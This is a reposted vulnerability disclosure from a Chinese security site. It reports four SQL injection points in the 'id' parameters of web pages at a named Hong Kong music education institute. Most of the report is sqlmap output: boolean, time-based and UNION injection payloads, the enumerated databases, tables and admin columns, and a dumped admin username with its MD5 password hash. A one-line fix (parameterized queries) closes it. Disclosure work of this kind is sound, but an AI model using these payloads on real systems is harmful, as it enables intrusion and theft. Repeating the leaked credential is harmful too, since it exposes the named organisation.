神刀安全网

漏洞标题: 香港音樂教育學院SQL注入(4处)打包(香港地區)

漏洞详情

披露状态:

2016-02-29: 细节已通知厂商并且等待厂商处理中
2016-03-02: 厂商已经确认,细节仅向厂商公开
2016-03-12: 细节向核心白帽子及相关领域专家公开
2016-03-22: 细节向普通白帽子公开
2016-04-01: 细节向实习白帽子公开
2016-03-07: 细节向公众公开

简要描述:

1,2,3,4

详细说明:

和这个不同

code 区域
http://**.**.**.**/bugs/wooyun-2010-0169528

四处SQL注入

第一处:

code 区域
http://**.**.**.**/imf/newsdetails.php?id=79
id存在注入

第二处:

code 区域
http://**.**.**.**/imf/dldetails.php?id=5
id存在注入

第三处:

code 区域
http://**.**.**.**/events_details.php?id=34
id存在注入

第四处:

code 区域
http://**.**.**.**/coursedetails.php?id=14
id存在注入

漏洞证明:

code 区域
sqlmap identified the following injection points with a total of 50 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=79 AND 9151=9151

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=79 AND (SELECT * FROM (SELECT(SLEEP(5)))Cewt)

Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: id=-1499 UNION ALL SELECT NULL,CONCAT(0x716b7a6b71,0x736f534249714e746669,0x71627a6b71),NULL,NULL,NULL,NULL,NULL,NULL--
---
web application technology: PHP 5.3.28, Apache 2
back-end DBMS: MySQL 5.0.12
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=79 AND 9151=9151
Vector: AND [INFERENCE]

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=79 AND (SELECT * FROM (SELECT(SLEEP(5)))Cewt)
Vector: AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: id=-1499 UNION ALL SELECT NULL,CONCAT(0x716b7a6b71,0x736f534249714e746669,0x71627a6b71),NULL,NULL,NULL,NULL,NULL,NULL--
Vector: UNION ALL SELECT NULL,[QUERY],NULL,NULL,NULL,NULL,NULL,NULL--
---
web application technology: PHP 5.3.28, Apache 2
back-end DBMS: MySQL 5.0.12
current user: '[email protected]'
current database: 'hkmusic_root'
current user is DBA: False
available databases [3]:
[*] hkmusic_root
[*] information_schema
[*] test

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=79 AND 9151=9151
Vector: AND [INFERENCE]

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=79 AND (SELECT * FROM (SELECT(SLEEP(5)))Cewt)
Vector: AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: id=-1499 UNION ALL SELECT NULL,CONCAT(0x716b7a6b71,0x736f534249714e746669,0x71627a6b71),NULL,NULL,NULL,NULL,NULL,NULL--
Vector: UNION ALL SELECT NULL,[QUERY],NULL,NULL,NULL,NULL,NULL,NULL--
---
web application technology: PHP 5.3.28, Apache 2
back-end DBMS: MySQL 5.0.12
Database: hkmusic_root
[21 tables]
+--------------+
| about |
| admin |
| app |
| banner |
| careers |
| course |
| enq |
| enq1 |
| events |
| evhome |
| evimg |
| mdl |
| member_table |
| mlist |
| mnews |
| pagepic |
| poster |
| reglist |
| repair |
| seminer |
| teacher |
+--------------+

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=79 AND 9151=9151
Vector: AND [INFERENCE]

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=79 AND (SELECT * FROM (SELECT(SLEEP(5)))Cewt)
Vector: AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: id=-1499 UNION ALL SELECT NULL,CONCAT(0x716b7a6b71,0x736f534249714e746669,0x71627a6b71),NULL,NULL,NULL,NULL,NULL,NULL--
Vector: UNION ALL SELECT NULL,[QUERY],NULL,NULL,NULL,NULL,NULL,NULL--
---
web application technology: PHP 5.3.28, Apache 2
back-end DBMS: MySQL 5.0.12
Database: hkmusic_root
Table: admin
[3 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| id | int(3) |
| pwd | char(32) |
| username | varchar(24) |
+----------+-------------+

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=79 AND 9151=9151
Vector: AND [INFERENCE]

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=79 AND (SELECT * FROM (SELECT(SLEEP(5)))Cewt)
Vector: AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: id=-1499 UNION ALL SELECT NULL,CONCAT(0x716b7a6b71,0x736f534249714e746669,0x71627a6b71),NULL,NULL,NULL,NULL,NULL,NULL--
Vector: UNION ALL SELECT NULL,[QUERY],NULL,NULL,NULL,NULL,NULL,NULL--
---
web application technology: PHP 5.3.28, Apache 2
back-end DBMS: MySQL 5.0.12
Database: hkmusic_root
Table: admin
[1 entry]
+----------+----------------------------------+
| username | pwd |
+----------+----------------------------------+
| HKmaster | c1346ba388c62871f67abd57a56f7e84 |
+----------+----------------------------------+

修复方案:

参数过滤,参数化查询

版权声明:转载请注明来源 路人甲@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: 香港音樂教育學院SQL注入(4处)打包(香港地區)

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
分享按钮